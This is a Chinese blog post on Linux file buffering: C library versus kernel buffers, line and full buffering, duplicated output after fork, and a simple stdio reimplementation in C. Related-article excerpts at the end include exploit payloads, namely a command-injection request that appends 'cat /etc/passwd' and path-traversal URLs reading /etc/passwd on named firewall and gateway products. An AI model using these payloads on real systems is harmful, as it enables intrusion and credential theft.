Linux文件缓冲区

news2024/11/18 20:00:28

在这里插入图片描述

文章目录

    • 1. 缓冲区现象
    • 2. 用户级和系统级缓冲区
    • 3. 缓冲区刷新
    • 4. 为什么要有缓冲区
    • 5. 文件打印的全缓冲
    • 6. 模拟实现C语言文件标准库

本章gitee代码仓库:重定向、模拟C语言文件标准库

1. 缓冲区现象

image-20231112144810498

我们这里分别调用了4个差不多的函数,但是结果是有一定差别的,这些其实就是因为有缓冲区的存在,导致了现象的不同。

2. 用户级和系统级缓冲区

C语言提供访问文件的接口,本质上都是对系统提供的接口进行封装。上面的func3函数,我们将一号文件描述符关闭之后,C接口的内容都没有在显示器上显示,而系统接口write不受影响,正常显示。

这个就能说明,C语言提供的缓冲区,并不是系统级别的缓冲区。例如printffprintffwrite这些库函数,都是先将数据写入到C语言提供的缓冲区当中,然后再到合适的时候,通过write将内容刷新带内核的缓冲区当中。

image-20231112153809575

所以这里close(1)将一号文件描述符关闭之后,再想让write写入,那就写不进去了,而在此之前write自己的内容,是直接写入系统缓冲区的,所以我们就能看到通过系统调用write写的内容不受影响,而C库函数的内容全部都没有被刷新出来。

3. 缓冲区刷新

缓冲区刷新分为三种:

  1. 无缓冲:直接刷新

  2. 行缓冲:遇到换行符(\n)刷新

    一般向显示器打印采用行刷新

  3. 全缓冲:缓冲区满了之后再刷新

    向文件写入一般采用全缓冲

上面的func4,因为我们字符串后面都跟上了\n,采用的行刷新,和func3不一样,遇到\n就刷新缓冲区,所以内容能够全部刷新出来。

当然,在进程退出的时候,也会再刷新一次缓冲区

4. 为什么要有缓冲区

我们现在有很多快递驿站,这些驿站就可以理解为缓冲区,有了驿站的存在,我们寄快递的时候,直接将快递放到驿站,填好地址信息,我们就可以走了,就不需要我们自己亲自去将这个东西给对方;而拿快递的时候也是,有了驿站的存在,我们可以选择在自己有空的时候去拿,而不是说快递一到,我们就得立马去,这样就能极大的提高我们的效率。

缓冲区也是如此,我们的库函数将内容交给我们的缓冲区后,然后再由缓冲区将内容在合适的时候,调用系统接口,把内容刷新到系统。这样就能够提高用户的效率,让C语言函数的接口更快。

fprintfprintfscanf这些,都是叫格式化输入输出接口,我们向显示器打印整数1024,在我们看来是一个整数,其实本质上是字符。先将我们的内容作为一个整体,格式化刷新到C的缓冲区,然后统一刷到内核当中。

image-20231112161619783

所以,有缓冲区的存在,也能更好地配合我们的格式化输入输出。

在C语言的文件操作里面,是绕不开这个struct FILE结构体的,所以里面也封装了缓冲区字段。

例如我们在C语言当中一次性打开了5个文件,那么就会有5个对应的缓冲区。

这个FILE是语言层面的,语言层面都是属于用户的,所以这个缓冲区是属于用户层的

5. 文件打印的全缓冲

有了这些知识,我们再来看上面的func2,我们在程序退出之前fork创建子进程,在显示器上输出的是正常的,但是如果我们将内容重定向到文件当中,我们发现C库函数的接口都输出了2次。

这是因为向文件打印时,刷新方案变成了全缓冲

当变为全缓冲之后,遇到\n就不再刷新。而这里fork创建子进程,子进程会将父进程的代码和数据拷贝一份,当然这里缓冲区的数据也会拷贝。因为是全缓冲,这里的缓冲区里面是有数据的。

我们先来验证一下这个,不创建子进程,向文件打印:

void func2()
{
  const char *fstr="hello fwrite\n";
  const char *str="hello write\n";
  printf("hello\n");
  sleep(1);
  fprintf(stdout,"hello fpf\n");
  sleep(1);
  fwrite(fstr,strlen(fstr),1,stdout);
  sleep(1);
  write(1,str,strlen(str));
  sleep(3);
  //fork();
}

GIF 2023-11-12 16-48-24

可以看到,这里向文件打印,虽然加了\n但并没有刷新,而是采用的全缓冲,等进程结束之后,全部刷新了。

所以这里拷贝的缓冲区进行写时拷贝,父进程退出刷新一次,子进程退出刷新一次,所以我们就能看到C接口的信息会被刷新2次。而我们输出到显示的时候,因为是行缓冲,每次直接刷新了,到子进程的时候,缓冲区里面没有数据了,所以就输出一次。

6. 模拟实现C语言文件标准库

简易实现:

#include"Mystdio.h"
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
#include<assert.h>

#define FILE_MODE 0666

_FILE * _fopen(const char*filename,const char*flag)
{
  assert(filename);
  assert(flag);
  int f = 0;
  int fd = -1;
  if(strcmp(flag,"w") == 0)
  {
    f = (O_CREAT|O_WRONLY|O_TRUNC);
    fd = open(filename,f,FILE_MODE);
  }
  else if(strcmp(flag,"a") == 0)
  {
    f = (O_CREAT|O_WRONLY|O_APPEND);  
    fd = open(filename,f,FILE_MODE);
  }
  else if(strcmp(flag,"r") == 0)
  {
    f = O_RDONLY;
    fd = open(filename,f);
  }
  else
    return NULL;
 
  if(fd == -1)  return NULL;
  _FILE*fp = (_FILE*)malloc(sizeof(_FILE));
  fp->fileon = fd;
  fp->flag = FLUSH_ALL;  
  fp->out_pos = 0;  //初始缓冲区没有内容
  return fp;
}
int _fwrite(_FILE*fp,const char*s,int len)
{
  memcpy(&fp->outbuffer[fp->out_pos],s,len);
  fp->out_pos+=len;
  if(fp->flag & FLUSH_NOW)
  {
    write(fp->fileon,fp->outbuffer,fp->out_pos);
    fp->out_pos = 0;
  }
  else if(fp->flag&FLUSH_LINE)
  {
   if(fp->outbuffer[fp->out_pos-1] == '\n')
   {
     write(fp->fileon,fp->outbuffer,fp->out_pos);
     fp->out_pos = 0;
   }
  }
  else if(fp->flag&FLUSH_ALL)
  {
    if(fp->out_pos == SIZE)
    {
      write(fp->fileon,fp->outbuffer,fp->out_pos);
      fp->out_pos = 0;
    } 
  }
  return len;
}

void _fflush(_FILE*fp)
{
  if(fp->out_pos>0)
  {
    write(fp->fileon,fp->outbuffer,fp->out_pos);
    fp->out_pos = 0;
  }
}

void _fclose(_FILE*fp)
{
  if(fp == NULL)  return;
  _fflush(fp);
  close(fp->fileon);
  free(fp);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1200139.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Sprint Boot 学习路线 5

Spring MVC Spring MVC是Spring框架的一部分&#xff0c;是一个Web应用程序框架。它旨在使用Model-View-Controller&#xff08;MVC&#xff09;设计模式轻松构建Web应用程序。 在Spring MVC中&#xff0c;应用程序被分为三个主要组件&#xff1a;Model、View和Controller。M…

深入理解强化学习——多臂赌博机:知识总结

分类目录&#xff1a;《深入理解强化学习》总目录 我们在《深入理解强化学习——多臂赌博机》系列文章中介绍了几种平衡试探和开发的简单方法。 ϵ − \epsilon- ϵ−贪心方法在一小段时间内进行随机的动作选择&#xff0c;而UCB方法虽然采用确定的动作选择&#xff0c;却可以通…

同一个Unity项目打开两个Unity Editor实例

特殊情况下&#xff0c;同一个项目需要同时打开两个编辑器做测试&#xff0c;如多人在线游戏&#xff0c;或者有通信功能的时候就有这样的需求。同时也为了方便调试和观察日志。并且修改的是同一份代码。 命令介绍&#xff1a; 实现思路&#xff1a; 使用 mklink 命令 分别创建…

Flowable 外部表单

内置表单需要在每个节点中去配置&#xff0c;当如果多个节点使用同一套表单属性就要配置多次比较麻烦&#xff0c;修改的时候也要修改多次&#xff0c;外部表单可以定义一次&#xff0c;然后其它节点都去引用同一个表单属性。 外部表单需要定义一个.form后缀的文件。 外部表单…

快速查看Linux系统占用多的文件夹

背景 租用了一台云服务器&#xff0c;存储很快就满了&#xff0c;想看下哪部分占用多&#xff0c;然后进行清理 工具 使用ncdu工具 sudo apt install ncdu效果

python工具网康下一代防火墙RCE

python漏洞利用​ 构造payload POST /directdata/direct/router HTTP/1.1{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/htm…

【友提】2023年“思维100”编程比赛开始报名,名额有限报名抓紧

根据官方昨天发布的通知&#xff0c;2023年上海市“科学小公民”实践展示活动之“思维100”STEM应用能力编程活动&#xff08;秋季&#xff09;开始报名了&#xff0c;为便于大家了解&#xff0c;六分成长为大家整理关键信息如下。为便于叙述&#xff0c;该活动简称为思维100编…

【Go入门】struct类型

【Go入门】struct类型 struct Go语言中&#xff0c;也和C或者其他语言一样&#xff0c;我们可以声明新的类型&#xff0c;作为其它类型的属性或字段的容器。例如&#xff0c;我们可以创建一个自定义类型person代表一个人的实体。这个实体拥有属性&#xff1a;姓名和年龄。这样…

吃透 Spring 系列—AOP部分

目录 ◆ AOP 简介 - AOP的概念 - AOP思想的实现方案 - 模拟AOP的基础代码 - AOP相关概念 ◆ 基于xml配置的AOP - xml方式AOP快速入门 - xml方式AOP配置详解 - xml方式AOP原理剖析 ◆ 基于注解配置的AOP - 注解方式AOP基本使用 - 注解方式AOP配置详解 - 注解…

【C++】C++的介绍及其发展史

初识C 一、什么是C&#xff0c;为什么会出现C二、C的发展史三、C的重要性3.1 语言的使用广泛度3.2 在工作领域 四、C的学习路径 及 书籍推荐 一、什么是C&#xff0c;为什么会出现C C语言是结构化和模块化的语言&#xff0c;适合处理较小规模的程序。 对于复杂的问题&#xff…

网神下一代极速防火墙任意文件读取漏洞

访问漏洞url&#xff1a; ​​/?gpki_file_download&filename../../../../../etc/passwd漏洞证明&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&#xff0c;万分感谢。 免责声明&#xff1a;由于传播或利用此文所提供的信息、技术或方法而造…

mysql8安装和驱动jar包下载

方式一&#xff1a;基于docker安装 下拉镜像 docker pull mysql:8.0.21 启动镜像 docker run -p 3307:3306 --name mysql -e MYSQL_ROOT_PASSWORDhadoop -d mysql:8.0.21 启动成功后&#xff0c;进入容器内部拷贝配置文件&#xff0c;到宿主主机 docker cp mysql:/etc/mysql…

如何在 Python 中执行 MySQL 结果限制和分页查询

Python MySQL 限制结果 限制结果数量 示例 1: 获取您自己的 Python 服务器 选择 “customers” 表中的前 5 条记录&#xff1a; import mysql.connectormydb mysql.connector.connect(host"localhost",user"您的用户名",password"您的密码"…

边缘分布式机器学习

目录 通信机制同步Synchronous异步Asynchronous半同步/延时同步通信的拓扑结构基于迭代式MapReduce的通信&#xff08;同步模式&#xff09;基于MPI之AllReduce的通信&#xff08;同步模式&#xff09;AllReduce有很多变种 基于参数服务器的通信&#xff08;多为异步&#xff0…

网康NS-ASG安全网关任意文件读取

此文件没有对身份进行校验即可下载任意文件 构造payload访问漏洞url&#xff1a; ​​/admin/cert_download.php?filegjxbstxdt.txt&certfile../../../../../../../../etc/passwd漏洞证明&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&…

【算法练习Day46】判断子序列不同的子序列

​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;练题 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录 判断子序列不同的子序列总结…

【C++笔记】二叉搜索树的模拟实现

【C笔记】二叉搜索树的模拟实现 一、二叉搜索树的概念二、二叉搜索树的模拟实现2.0、定义二叉树节点2.1、非递归接口实现2.1.1、插入2.1.2、查找2.1.3、删除 2.2、递归接口实现2.2.1、插入2.2.2、查找2.2.3、删除 三、升级为K-V模型 一、二叉搜索树的概念 二叉搜索树的概念&am…

grpc使用教程

准备 1&#xff0c;安装grpc go get -u google.golang.org/grpc2, 安装go语言protobuf生成器protoc-gen-go go get -u google.golang.org/protobuf/cmd/protoc-gen-go3, 通过下面连接&#xff0c;找到合适版本并安装protoc工具&#xff0c;如windows选择 protoc-3.19.5-win64.…

c++类对象内存模型(一)

C对象模型可以概括为以下2部分&#xff1a; 1. 语言中直接支持面向对象程序设计的部分&#xff0c;主要涉及如构造函数、析构函数、虚函数、继承&#xff08;单继承、多继承、虚继承&#xff09;、多态等等。 2. 对于各种支持的底层实现机制。在c语言中&#xff0c;“数据”和…

时间序列预测实战(十四)Transformer模型实现长期预测并可视化结果(附代码+数据集+原理介绍)

论文地址->Transformer官方论文地址 官方代码地址->暂时还没有找到有官方的Transformer用于时间序列预测的代码地址 个人修改地址-> Transformer模型下载地址CSDN免费 一、本文介绍 这篇文章给大家带来是Transformer在时间序列预测上的应用&#xff0c;这种模型最…